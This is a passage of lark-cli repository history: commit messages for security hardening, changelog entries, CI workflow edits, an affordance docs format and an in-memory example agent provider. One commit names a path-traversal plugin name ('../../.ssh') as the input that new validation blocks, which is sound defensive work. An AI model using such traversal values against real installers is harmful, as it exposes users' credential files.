  mime.FormatMediaType instead of manual string concatenation.
- MEDIUM-3 (SQL leaked into public flag): stop writing --file contents
  back into the --sql flag; resolveExecuteSQL() reads it at use-site so
  SQL never lands in flag dumps / structured logs.
- LOW-1 (hidden-file upload name): prefix sanitized upload names that
  start with '.' with '_'.
- LOW-2 (local-timezone time parsing): document local-tz interpretation
  of bare date/datetime in flag descriptions and the db/file skill docs.

SQL-injection of --table (audit MEDIUM-5) is intentionally NOT validated
in the CLI: the server-side interface is the authoritative guard.

Add apps_security_fixes_test.go covering the new validators and switch
the upload test to parse Content-Disposition instead of matching a
literal string. Update lark-apps-db.md / lark-apps-file.md skill refs.

* fix(plugin): harden plugin commands against path traversal, DoS, and agent misuse (#1677)

Security fixes from PR #1596 security audit:
- Skip symlink/hardlink entries during tgz extraction (Zip Slip)
- Limit tgz entry and download size to 10 MB (OOM/DoS)
- Limit error response body read to 4 KB
- Validate MIAODA_APP_TYPE as numeric to prevent path manipulation
- Add validatePluginKey + secureModulePath to block --name path
  traversal (../../.ssh etc.) for install/uninstall

Usability fix:
- Add explicit 'local command, no --app-id' notice in plugin
  reference docs to prevent agent from incorrectly passing
  --app-id to plugin commands (which read package.json locally)

* fix(apps): cap db async poll timeout at 2 minutes

+db-recovery-apply blocked up to 30min and +db-env-migrate /
+db-recovery-diff up to 10min while polling the server for async-task
completion. These operations are expected to finish within ~1 minute;
the long ceilings mostly hurt agents, whose harness kills the command on
timeout while the server-side operation keeps running with no handle to
re-query — especially risky for the irreversible recovery-apply.

Cap all three pollUntil ceilings at 2 minutes (polling interval
unchanged). Stuck operations now surface the retryable network/timeout
envelope after 2min instead of hanging for 10-30min.

* fix(plugin): create temp dir in project path to avoid cross-filesystem EXDEV on Rename (#1683)

pluginInstallLocal used os.MkdirTemp("") which creates the temp
directory on the system temp partition. On Windows (and some
Linux/macOS setups), the temp partition is on a different filesystem
from the project directory, causing os.Rename to fail with EXDEV.

Use projectPath as the temp dir parent so it is always on the same
filesystem as node_modules.

* fix(plugin): improve --help Tips with local-command hint and update semantics (#1691)

- Add "Run in project root; does NOT take --app-id" to all plugin Tips
- Clarify install command also supports update (install or update to latest/specific version)
- Clarify batch install reads from package.json actionPlugins

---------

Co-authored-by: 陈兴炀 <chenxingyang.1019@bytedance.com>
Co-authored-by: raistlin042 <lvxinsheng@bytedance.com>
Co-authored-by: anngo-nk <anguohui@bytedance.com>
Co-authored-by: zhangli <zhangli.268@bytedance.com>
2026-06-30 21:11:27 +08:00
linchao5102
5c4ad52741 fix: harden git credential error handling (#1676) 2026-06-30 19:57:04 +08:00
wangweiming-01
3fcb695698 docs: guide document copy skill usage (#1673) 2026-06-30 16:47:06 +08:00
mew
fb042758db feat: add whoami command showing effective identity (#1666) 2026-06-30 15:56:56 +08:00
SunPeiYang996
22108c3300 feat(docs): add reference map flags (#1547) 2026-06-30 12:07:18 +08:00
liuxin-0319
31744f8cf9 docs: fix lark-doc media token examples (#1662) 2026-06-30 11:47:14 +08:00
liangshuo-1
1dd0758091 chore: release v1.0.60 (#1657) 2026-06-29 22:34:36 +08:00
yballul-bytedance
4a5a669b1a fix(auth): remove 'claude settings' (#1654) 2026-06-29 21:58:22 +08:00
liangshuo-1
ebb0b6fe73 feat(affordance): per-command usage guidance system (markdown source) (#1565) 2026-06-29 19:33:27 +08:00
liangshuo-1
5c0a36b2a6 feat(transport): add LARK_CLI_NO_PROXY_WARN to silence proxy warning (#1647) 2026-06-29 19:31:48 +08:00
mazhe-nerd
21905b0ba1 fix(install): load @clack/prompts via dynamic import to avoid ERR_REQUIRE_ESM (#1636) (#1652) 2026-06-29 19:16:37 +08:00
yballul-bytedance
602c788fd9 feat(authorization): expand lark-shared auth guidance and assert clean logout JSON (#1598)
- skills/lark-shared/SKILL.md: broaden skill description to cover auth login/status/logout, --domain business-domain scopes, missing scopes and authorization revocation; add an auth task quick-reference table mapping user intents to lark-cli commands; document LARKSUITE_CLI_NO_UPDATE_NOTIFIER / LARKSUITE_CLI_NO_SKILLS_NOTIFIER env vars for stable JSON; soften _notice.update handling so it no longer interrupts the current task.
- cmd/auth/logout_test.go: in TestAuthLogoutRun_JSONMode_Success_WritesStdoutOnly, additionally assert that the success JSON payload has no 'message' field, matching the contract that logout success only carries loggedOut=true.
2026-06-29 16:28:57 +08:00
HanShaoshuai-k
30b28cf17f fix: reduce public content false positives 2026-06-29 14:02:43 +08:00
calendar-assistant
297776ea66 feat(event): support VC meeting lifecycle events (#1632) 2026-06-29 11:11:23 +08:00
Max Coplan
5b0c3137e3 test(doc): derive fetch test flag defaults from v2FetchFlags (#1428)
Replace hardcoded flag defaults in the fetch test helpers with
fetchDefault() / fetchDefaultInt() helpers that read the declared
defaults from v2FetchFlags(). This prevents future drift between
production flag defaults and test setup, and panics loudly if a
flag name is misspelled rather than silently returning "".

The tests now correctly avoid hardcoding doc-format, but other
flag defaults (detail, revision-id, scope, etc.) were still
duplicated here. Deriving all defaults from v2FetchFlags() keeps
the whole test command definition aligned with production.

Co-authored-by: TraeCli (Doubao-Seed-Dogfooding) <trae@bytedance.com>
Co-authored-by: fangshuyu <fangshuyu@bytedance.com>
2026-06-29 11:09:51 +08:00
xiongyuanwen-byted
4c31323de1 feat(sheets): use office_sheet_file parent_type for imported office spreadsheets (#1606)
Image uploads to a spreadsheet hard-coded parent_type=sheet_image at every
entry point. Imported "office" spreadsheets carry a token prefixed with
"fake_office_", for which the drive backend requires
parent_type=office_sheet_file. Funnel the parent_type selection through a
single sheets-domain helper so the rule lives in one place and every
image-upload path (float-image, +cells-set-image, backward +media-upload,
and every dry-run preview) stays consistent.

- Add sheetMediaParentType(token) in the sheets domain: returns
  office_sheet_file for fake_office_-prefixed tokens, otherwise sheet_image.
- Add an uploadSheetImage(...) collector that builds the
  DriveMediaUploadAllConfig (including parent_type) once, replacing the
  per-call-site hand-rolled configs.
- Route both main-domain image entries through the collector — float-image
  local upload and +cells-set-image — covering Execute and the dry-run
  preview body/desc.
- Cover the backward +media-upload entry: single-part, multipart (>20MB),
  and both dry-run bodies. backward is a separate package and an
  intentional verbatim mirror of shortcuts/sheets/, so it keeps its own
  copy of the helper rather than importing the main domain.
- Leave the shared common.UploadDriveMediaAllTyped upload layer untouched
  — the fake_office_ rule is sheets-specific and must not leak into
  mail/slides/doc/drive/base.

Tests:
- Pure-function TestSheetMediaParentType (5 cases incl. prefix-only and
  mid-string non-match).
- Main-domain dry-run TestCellsSetImage_DryRunOfficeParentType and
  TestUploadSheetImage_ParentType / _FileOpenError that exercise the
  Execute path on the wire, asserting parent_type via the captured
  multipart body and typed validation metadata (errs.ProblemOf
  category/subtype, fs.ErrNotExist cause preserved) on file open errors.
  decodeSheetMediaMultipartBody fails fast on NextPart / ReadFrom errors
  rather than silently producing a partial body.
- backward TestSheetMediaUploadExecuteOfficeParentType (real multipart
  wire) and TestSheetMediaUploadDryRunSmallFileOfficeParentType
  (small-file dry-run preview for fake_office_).
- cli_e2e tests/cli_e2e/sheets/sheets_image_upload_dryrun_test.go: --dry-run
  end-to-end across +media-upload and +cells-set-image, native and
  fake_office_ tokens, asserting api.0 is POST upload_all with
  parent_type=sheet_image / office_sheet_file and parent_node = token.
2026-06-27 16:16:56 +08:00
liangshuo-1
8a268aa2d2 chore: release v1.0.59 (#1617) 2026-06-26 20:46:51 +08:00
ethan-zhx
39d60cb706 feat: add slides replace-pages and xml-get shortcuts (#1585)
* feat: add slides replace-pages shortcut

* feat: add slides xml get shortcut

* fix: stop advertising slides screenshot scope

* feat: expose slides presentation url
2026-06-26 15:56:55 +08:00
SunPeiYang996
d9330b7ab3 fix(docs): hide docs api-version compat flag (#1580) 2026-06-26 14:32:09 +08:00
hugang-lark
6b833257c7 fix: optimize calendar,vc,minutes,note shortcut and skill (#1571) 2026-06-26 12:24:03 +08:00
zhangjun-bytedance
ba51d4874e feat: support speaker list and nolark speaker replace (#1594) 2026-06-26 11:41:32 +08:00
liangshuo-1
40a09c8957 chore: release v1.0.58 (#1586) 2026-06-25 21:57:36 +08:00
taojieyeta-design
806e8679f6 feat: sync approval skill for meta api commands (#1499)
* feat: sync approval skill for meta api commands

* docs: fix approval skill reference links

* docs: restore approval reference links

* docs: align approval skill with review guidelines

* docs: clarify approval skill boundaries

* docs: remove implementation detail from approval description
2026-06-25 20:40:59 +08:00
Public Content Screenshot
d69761e205 fix(ci): reduce public content false positives 2026-06-25 20:23:15 +08:00
SunPeiYang996
7346de30b1 docs(lark-doc): restore style requirements (#1579)
Change-Id: I5c75a06ccac07586615c40db69b94d515f85d200
2026-06-25 19:18:05 +08:00
hanshaoshuai
cf93ee051c feat(ci): add public content safeguards 2026-06-25 19:03:14 +08:00
SunPeiYang996
fe32a6e0a9 feat(docs): support create title option (#1536)
* feat: support docs create title option

Change-Id: I6fd840fe813e5e664ea9ec680765fd41375cdebf

* docs: refine docs title guidance

Change-Id: I2f986a4606729bc791a1bff6c03aaa198b0798dc

* docs: keep lark doc skill create example

Change-Id: Ic7005e015c9e71a4582c1f4a8ac8222d552426d4

* test: allow docs create title flag in help

Change-Id: I0226e20c6bf2187eb6c4f0d2d5e37ab9225d4171
2026-06-25 18:05:47 +08:00
zhaojiaxing-coding
af9835c288 feat(drive): add +member-add shortcut with wiki space member collection collaborator support (#1204) 2026-06-25 17:45:42 +08:00
shifengjuan-dev
2e3073a532 docs(im): document chat.nickname get/update/delete (#1378) 2026-06-25 17:04:31 +08:00
liujiashu-shiro
1c92ed8841 feat: add im-markdown output for doc fetch (#1550)
* feat: add docs im-markdown fetch format

* refactor: tune docs im-markdown conversion

* test: expand docs im-markdown conversion coverage

* refactor: simplify docs im-markdown handlers

* test: cover docs im-markdown edge cases

* fix: expand doc im markdown tag downgrades

* fix: preserve blockquote paragraph breaks

* fix: handle im markdown nested tables and urls

* docs: document im markdown skill usage

* test: cover doc im markdown fetch

* test: strengthen doc fetch error coverage

* fix: fetch doc skill typo
2026-06-25 11:49:58 +08:00
422 changed files with 49305 additions and 1798 deletions

View File

@@ -5,6 +5,7 @@ on:
branches: [main]
pull_request:
branches: [main]
types: [opened, synchronize, reopened, edited]
workflow_dispatch:
permissions:
@@ -70,6 +71,7 @@ jobs:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
fetch-depth: 0
persist-credentials: false
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
@@ -87,6 +89,23 @@ jobs:
- name: Run errs/ lint guards (lintcheck)
run: go run -C lint . --changed-from "$QUALITY_GATE_CHANGED_FROM" ..
script-test:
needs: fast-gate
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
fetch-depth: 0
persist-credentials: false
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: '22'
- name: Run script tests
run: make script-test
deterministic-gate:
needs: fast-gate
runs-on: ubuntu-latest
@@ -109,8 +128,28 @@ jobs:
env:
QUALITY_GATE_CHANGED_FROM: ${{ github.event.pull_request.base.sha || github.event.before || 'origin/main' }}
run: echo "QUALITY_GATE_CHANGED_FROM=$(bash scripts/resolve-changed-from.sh)" >> "$GITHUB_ENV"
- name: Write public content metadata
if: ${{ github.event_name == 'pull_request' }}
env:
PR_TITLE: ${{ github.event.pull_request.title }}
PR_BODY: ${{ github.event.pull_request.body }}
PR_BRANCH: ${{ github.head_ref }}
run: |
mkdir -p .tmp/quality-gate
python3 - <<'PY'
import json
import os
with open(".tmp/quality-gate/public-content-metadata.json", "w", encoding="utf-8") as f:
json.dump({
"title": os.environ.get("PR_TITLE", ""),
"body": os.environ.get("PR_BODY", ""),
"branch": os.environ.get("PR_BRANCH", ""),
}, f)
f.write("\n")
PY
- name: Run CLI deterministic gate
run: make quality-gate
run: PUBLIC_CONTENT_METADATA=.tmp/quality-gate/public-content-metadata.json make quality-gate
- name: Upload quality gate facts
if: ${{ always() && github.event_name == 'pull_request' }}
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
@@ -220,7 +259,7 @@ jobs:
# ── Layer 3: E2E Gate ──────────────────────────────────────────────
e2e-dry-run:
needs: [unit-test, lint, deterministic-gate]
needs: [unit-test, lint, script-test, deterministic-gate]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
@@ -241,7 +280,7 @@ jobs:
run: go test -v -count=1 -timeout=5m ./tests/cli_e2e/... -run 'DryRun|Regression'
e2e-live:
needs: [unit-test, lint, deterministic-gate]
needs: [unit-test, lint, script-test, deterministic-gate]
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
runs-on: ubuntu-latest
permissions:
@@ -333,7 +372,7 @@ jobs:
# ── Results Gate (single required check for branch protection) ─────
results:
if: ${{ always() }}
needs: [fast-gate, unit-test, lint, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
needs: [fast-gate, unit-test, lint, script-test, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
runs-on: ubuntu-latest
steps:
- name: Evaluate results
@@ -345,6 +384,7 @@ jobs:
echo "| L1 | fast-gate | ${{ needs.fast-gate.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | unit-test | ${{ needs.unit-test.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | lint | ${{ needs.lint.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | script-test | ${{ needs.script-test.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | deterministic-gate | ${{ needs.deterministic-gate.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | coverage | ${{ needs.coverage.result }} |" >> $GITHUB_STEP_SUMMARY
echo "| L2 | deadcode | ${{ needs.deadcode.result }} |" >> $GITHUB_STEP_SUMMARY
@@ -361,6 +401,7 @@ jobs:
"${{ needs.fast-gate.result }}" \
"${{ needs.unit-test.result }}" \
"${{ needs.lint.result }}" \
"${{ needs.script-test.result }}" \
"${{ needs.deterministic-gate.result }}" \
"${{ needs.coverage.result }}" \
"${{ needs.deadcode.result }}" \

28
.github/workflows/comment-audit.yml vendored Normal file
View File

@@ -0,0 +1,28 @@
name: Comment Audit
on:
issue_comment:
types: [created, edited]
pull_request_review:
types: [submitted, edited]
pull_request_review_comment:
types: [created, edited]
permissions:
contents: read
jobs:
public-content-comment-audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
with:
persist-credentials: false
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
with:
go-version-file: go.mod
- name: Post-publication comment audit
run: |
mkdir -p .tmp/comment-audit
cp "$GITHUB_EVENT_PATH" .tmp/comment-audit/event.json
go run ./internal/qualitygate/cmd/comment-audit --event .tmp/comment-audit/event.json --kind "$GITHUB_EVENT_NAME"

View File

@@ -88,31 +88,44 @@ jobs:
commit_sha: targetHeadSha,
});
const candidatePRs = associatedPRs.filter((candidate) =>
candidate.state === "open" &&
candidate.base?.repo?.id === context.payload.repository.id &&
candidate.head?.sha === targetHeadSha
);
if (candidatePRs.length > 1) {
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${candidatePRs.length}`);
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
if (openCandidatePRs.length > 1) {
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
}
if (candidatePRs.length === 1) {
prNumber = candidatePRs[0].number;
if (openCandidatePRs.length === 1) {
prNumber = openCandidatePRs[0].number;
} else if (candidatePRs.length > 0) {
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
}
}
if (!prNumber) {
const candidatePRs = await github.paginate(github.rest.pulls.list, {
owner: context.repo.owner,
repo: context.repo.repo,
state: "open",
state: "all",
per_page: 100,
}).then((prs) => prs.filter((candidate) =>
candidate.base?.repo?.id === context.payload.repository.id &&
candidate.head?.sha === targetHeadSha
));
if (candidatePRs.length !== 1) {
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
if (openCandidatePRs.length > 1) {
throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
}
if (openCandidatePRs.length === 1) {
prNumber = openCandidatePRs[0].number;
} else if (candidatePRs.length > 0) {
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
} else {
throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
}
prNumber = candidatePRs[0].number;
}
if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
const { data: pr } = await github.rest.pulls.get({
@@ -121,6 +134,11 @@ jobs:
pull_number: prNumber,
});
if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
if (pr.state !== "open") {
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
}
if (pr.head.sha !== targetHeadSha) {
core.notice("PR quality summary skipped: workflow_run is stale for this PR head");
core.setOutput("stale", "true");
@@ -299,31 +317,44 @@ jobs:
commit_sha: targetHeadSha,
});
const candidatePRs = associatedPRs.filter((candidate) =>
candidate.state === "open" &&
candidate.base?.repo?.id === context.payload.repository.id &&
candidate.head?.sha === targetHeadSha
);
if (candidatePRs.length > 1) {
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${candidatePRs.length}`);
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
if (openCandidatePRs.length > 1) {
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
}
if (candidatePRs.length === 1) {
prNumber = candidatePRs[0].number;
if (openCandidatePRs.length === 1) {
prNumber = openCandidatePRs[0].number;
} else if (candidatePRs.length > 0) {
core.notice("semantic review skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
}
}
if (!prNumber) {
const candidatePRs = await github.paginate(github.rest.pulls.list, {
owner: context.repo.owner,
repo: context.repo.repo,
state: "open",
state: "all",
per_page: 100,
}).then((prs) => prs.filter((candidate) =>
candidate.base?.repo?.id === context.payload.repository.id &&
candidate.head?.sha === targetHeadSha
));
if (candidatePRs.length !== 1) {
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
if (openCandidatePRs.length > 1) {
throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
}
if (openCandidatePRs.length === 1) {
prNumber = openCandidatePRs[0].number;
} else if (candidatePRs.length > 0) {
core.notice("semantic review skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
} else {
throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
}
prNumber = candidatePRs[0].number;
}
if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
const { data: pr } = await github.rest.pulls.get({
@@ -332,6 +363,16 @@ jobs:
pull_number: prNumber,
});
if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
if (pr.state !== "open") {
core.notice("semantic review skipped: workflow_run target PR is no longer open");
core.setOutput("stale", "true");
return;
}
if (!pr.head.repo) {
core.notice("semantic review skipped: workflow_run target PR head repository is unavailable");
core.setOutput("stale", "true");
return;
}
if (pr.head.sha !== targetHeadSha) {
core.notice("semantic review skipped: workflow_run is stale for this PR head");
core.setOutput("stale", "true");
@@ -389,6 +430,10 @@ jobs:
repo: context.repo.repo,
pull_number: pr,
});
if (pull.state !== "open") {
core.notice("semantic review skipped infrastructure failure check: PR is no longer open");
return;
}
if (pull.head.sha !== headSha) {
core.notice("semantic review skipped infrastructure failure check: PR head changed");
return;

6
.gitignore vendored
View File

@@ -51,3 +51,9 @@ app.log
cover*.out
lark-env.sh
/automations/
# Local-only proof artifacts and coverage reports (never committed)
coverage.html
tests_e2e/
tests_skill_eval/

View File

@@ -2,6 +2,87 @@
All notable changes to this project will be documented in this file.
## [v1.0.61] - 2026-06-30
### Features
- **apps**: Add `db`, `file`, `openapi-key` and observability shortcuts (#1596)
- **identity**: Add `whoami` command showing effective identity (#1666)
- **docs**: Add reference map flags (#1547)
### Bug Fixes
- **identity**: Correct identity diagnosis under external credential providers (#1693)
- **cli**: Harden git credential error handling (#1676)
### Documentation
- **doc**: Guide document copy skill usage (#1673)
- **doc**: Fix lark-doc media token examples (#1662)
## [v1.0.60] - 2026-06-29
### Features
- **affordance**: Per-command usage guidance system with markdown source (#1565)
- **event**: Support VC meeting lifecycle events (#1632)
- **sheets**: Use `office_sheet_file` parent_type for imported office spreadsheets (#1606)
- **authorization**: Expand lark-shared auth guidance and assert clean logout JSON (#1598)
- **transport**: Add `LARK_CLI_NO_PROXY_WARN` to silence proxy warning (#1647)
### Bug Fixes
- **install**: Load `@clack/prompts` via dynamic import to avoid `ERR_REQUIRE_ESM` (#1652)
### Tests
- **doc**: Derive fetch test flag defaults from `v2FetchFlags` (#1428)
### Build
- **ci**: Reduce public content false positives
## [v1.0.59] - 2026-06-26
### Features
- **slides**: Add `+replace-pages` and `xml get` shortcuts, and expose the presentation URL (#1585)
- **minutes**: Support speaker list and no-Lark speaker replace (#1594)
- **calendar/vc/minutes**: Optimize and extend calendar, vc, minutes, and note shortcuts and skills (#1571)
### Bug Fixes
- **docs**: Hide docs `api-version` compat flag (#1580)
## [v1.0.58] - 2026-06-25
### Features
- **sheets**: Typed table I/O and error contract, workbook import/export, and skill refresh (#1355)
- **base**: Add Base URL and title resolve shortcuts (#1338)
- **drive**: Add `+member-add` shortcut with wiki space member collection collaborator support (#1204)
- **doc**: Support `create` title option (#1536)
- **doc**: Add `im-markdown` output format for doc fetch (#1550)
- **whiteboard**: Export whiteboard as SVG and update whiteboard via SVG (#1559)
- **card**: Support `card.action.trigger` event with auto-fetched card content (#1528)
- **task**: Add task event consumer (#1510)
### Bug Fixes
- **doc**: Prefix docs resource shortcuts (#1564)
- **binding**: Skip unix mode audit on Windows (#1525)
### Documentation
- **approval**: Sync approval skill for meta API commands (#1499)
- **doc**: Restore lark-doc style requirements (#1579)
- **im**: Document `chat.nickname` get/update/delete (#1378)
- **im**: Clarify audio message opus requirement (#1271)
### Build
- **ci**: Add public content safeguards and reduce false positives
## [v1.0.57] - 2026-06-23
### Features
@@ -1236,6 +1317,10 @@ Bundled AI agent skills for intelligent assistance:
- Bilingual documentation (English & Chinese).
- CI/CD pipelines: linting, testing, coverage reporting, and automated releases.
[v1.0.61]: https://github.com/larksuite/cli/releases/tag/v1.0.61
[v1.0.60]: https://github.com/larksuite/cli/releases/tag/v1.0.60
[v1.0.59]: https://github.com/larksuite/cli/releases/tag/v1.0.59
[v1.0.58]: https://github.com/larksuite/cli/releases/tag/v1.0.58
[v1.0.57]: https://github.com/larksuite/cli/releases/tag/v1.0.57
[v1.0.56]: https://github.com/larksuite/cli/releases/tag/v1.0.56
[v1.0.55]: https://github.com/larksuite/cli/releases/tag/v1.0.55

View File

@@ -12,6 +12,7 @@ QUALITY_GATE_DIR ?= .tmp/quality-gate
QUALITY_GATE_MANIFEST_OUT ?= $(QUALITY_GATE_DIR)/command-manifest.json
QUALITY_GATE_COMMAND_INDEX_OUT ?= $(QUALITY_GATE_DIR)/command-index.json
QUALITY_GATE_FACTS_OUT ?= $(QUALITY_GATE_DIR)/facts.json
PUBLIC_CONTENT_METADATA ?= $(QUALITY_GATE_DIR)/public-content-metadata.json
LDFLAGS := -s -w -X $(MODULE)/internal/build.Version=$(VERSION) -X $(MODULE)/internal/build.Date=$(DATE)
PREFIX ?= /usr/local
@@ -69,7 +70,8 @@ integration-test: build
test: vet fmt-check script-test unit-test examples-build integration-test
quality-gate: build
mkdir -p $(QUALITY_GATE_DIR) $(dir $(QUALITY_GATE_FACTS_OUT))
mkdir -p $(QUALITY_GATE_DIR) $(dir $(QUALITY_GATE_FACTS_OUT)) $(dir $(PUBLIC_CONTENT_METADATA))
test -f $(PUBLIC_CONTENT_METADATA) || printf '{}\n' > $(PUBLIC_CONTENT_METADATA)
LARKSUITE_CLI_REMOTE_META=off \
LARKSUITE_CLI_NO_UPDATE_NOTIFIER=1 \
LARKSUITE_CLI_NO_SKILLS_NOTIFIER=1 \
@@ -89,6 +91,7 @@ quality-gate: build
--changed-from $(QUALITY_GATE_CHANGED_FROM_RESOLVED) \
--manifest $(QUALITY_GATE_MANIFEST_OUT) \
--command-index $(QUALITY_GATE_COMMAND_INDEX_OUT) \
--public-content-metadata $(PUBLIC_CONTENT_METADATA) \
--facts-out $(QUALITY_GATE_FACTS_OUT)
install: build

View File

@@ -198,7 +198,7 @@ Prefixed with `+`, designed to be friendly for both humans and AI, with smart de
```bash
lark-cli calendar +agenda
lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
lark-cli docs +create --api-version v2 --doc-format markdown --content $'<title>Weekly Report</title>\n# Progress\n- Completed feature X'
lark-cli docs +create --doc-format markdown --content $'<title>Weekly Report</title>\n# Progress\n- Completed feature X'
```
Run `lark-cli <service> --help` to see all shortcut commands.

View File

@@ -199,7 +199,7 @@ CLI 提供三种粒度的调用方式,覆盖从快速操作到完全自定义
```bash
lark-cli calendar +agenda
lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
lark-cli docs +create --api-version v2 --doc-format markdown --content $'<title>周报</title>\n# 本周进展\n- 完成了 X 功能'
lark-cli docs +create --doc-format markdown --content $'<title>周报</title>\n# 本周进展\n- 完成了 X 功能'
```
运行 `lark-cli <service> --help` 查看所有快捷命令。

49
affordance/README.md Normal file
View File

@@ -0,0 +1,49 @@
# Affordance
Per-command usage guidance for the CLI, authored as one markdown file per domain
(`<service>.md`). It is surfaced in `lark-cli <command> --help` and in the
`schema` output, and read directly at runtime (lazy, cached) — there is no build
step. Maintain these files alongside `skills/` and `shortcuts/`.
## Format
A small, fixed markdown subset; each file describes one domain:
# <domain> optional `> skill: <name>` applies to every command below
## <command> the command as typed, minus `lark-cli <domain>`
<lead paragraph> when to use this command
### Avoid when when not to use it / which command to use instead
### Prerequisites what you must have first (e.g. an id, and where it comes from)
### Tips gotchas and constraints
### Examples **description** lines, each followed by a fenced command
### <other heading> a custom section; flows through verbatim
Reference another command with `[[command]]` — it renders as `command` in help.
Under `Avoid when` it means "use that one instead"; under `Prerequisites`
("… from [[command]]") it means "get the input there first".
## Example
## messages get
Fetch the full content of a single message by id.
### Avoid when
- Reading several at once → use [[messages batch_get]]
### Prerequisites
- message_id from [[messages list]]
### Examples
**Fetch one message**
```bash
lark-cli mail user_mailbox.messages get --message-id "<id>"
```
## Notes
- Write plain prose; the only convention is wrapping command references in `[[ ]]`.
- Keep it concise and high-signal — don't restate field/flag names, id types, or
anything the schema and flags already show; the agent infers the rest.
- Command-form headings resolve to method ids via the registry, so plural resource
names (`messages`) map to the singular method id (`message`) automatically.

19
affordance/contact.md Normal file
View File

@@ -0,0 +1,19 @@
# contact
> skill: lark-contact
## user_profiles batch_query
Bulk-fetch personal status and signature for user ids you already have.
### Avoid when
- Need more than status/signature (name, dept, email), or don't have the open_id yet → use [[+search-user]]
### Tips
- Off by default — set include_personal_status / include_description to true under query_option
- ids in user_ids must match --user-id-type (default open_id)
### Examples
**Bulk-query status and signature**
```bash
lark-cli contact user_profiles batch_query --data '{"user_ids":["ou_3a8b****6a7b"],"query_option":{"include_personal_status":true,"include_description":true}}'
```

233
agent/example/example.go Normal file
View File

@@ -0,0 +1,233 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// Package example is the in-repo agent provider onboarding template and offline
// demo backend: a hypothetical example business domain whose data / calls are
// entirely in-memory mocks, with zero network. It has three roles:
//
// 1. A copy-start point for new integrators — copy the package, rename the
// scheme, write plain hook funcs, add one line to agent/register.go. There is
// no Factory, no Deps, no probe, no Kind field.
// 2. The command tree's offline demo backend — the full agent
// list/card/send/task/context chain runs for real without any platform config.
// 3. A stable mock scheme for cmd-layer tests.
//
// The whole provider is a declarative agent.Provider value: metadata + a catalog
// of agent.AgentSpec units. Each spec's capability set is exactly the hooks it
// wires (the framework derives the card matrix from that), so echo (minimal) and
// reporter (full) differ by DATA, not by a Factory branch.
package example
import (
"context"
"fmt"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/agent"
)
// Provider is the whole declaration. The Catalog set makes this a catalog-type
// provider; the framework derives enumeration (agent list example), the
// unknown-id error, and each agent's card matrix from this data.
func Provider() agent.Provider {
return agent.Provider{
Scheme: "example",
Label: "Example 演示 agent内存 mock零网络",
AgentIDSource: "运行 lark-cli agent list example 查看内置演示 agent 及其 agent_ref无需任何平台配置",
Identities: []agent.IdentitySpec{{Type: agent.IdentityUser}, {Type: agent.IdentityBot}},
// RequiredScopes nil: the mock calls no OAPI, so scope preflight always passes.
Catalog: []agent.AgentSpec{echoSpec, reporterSpec},
}
}
// echoSpec is the minimal set: it wires Send/GetTask plus the read verbs and
// NOTHING else, so its card honestly shows task_cancel / artifact_download /
// file_input = false. Capability IS exactly the wired hooks — there is no bool
// matrix and no capability-refusal code (the command layer gates unwired hooks).
var echoSpec = agent.AgentSpec{
ID: "echo",
Name: "复读机",
Description: "把你发的话原样复读一遍(同一会话续发时带轮次,证明上下文记忆)。最小能力集示范。",
Send: echoSend,
GetTask: getTask,
ListTasks: listTasks,
ListContexts: listContexts,
GetContext: getContext,
DeleteContext: deleteContext,
}
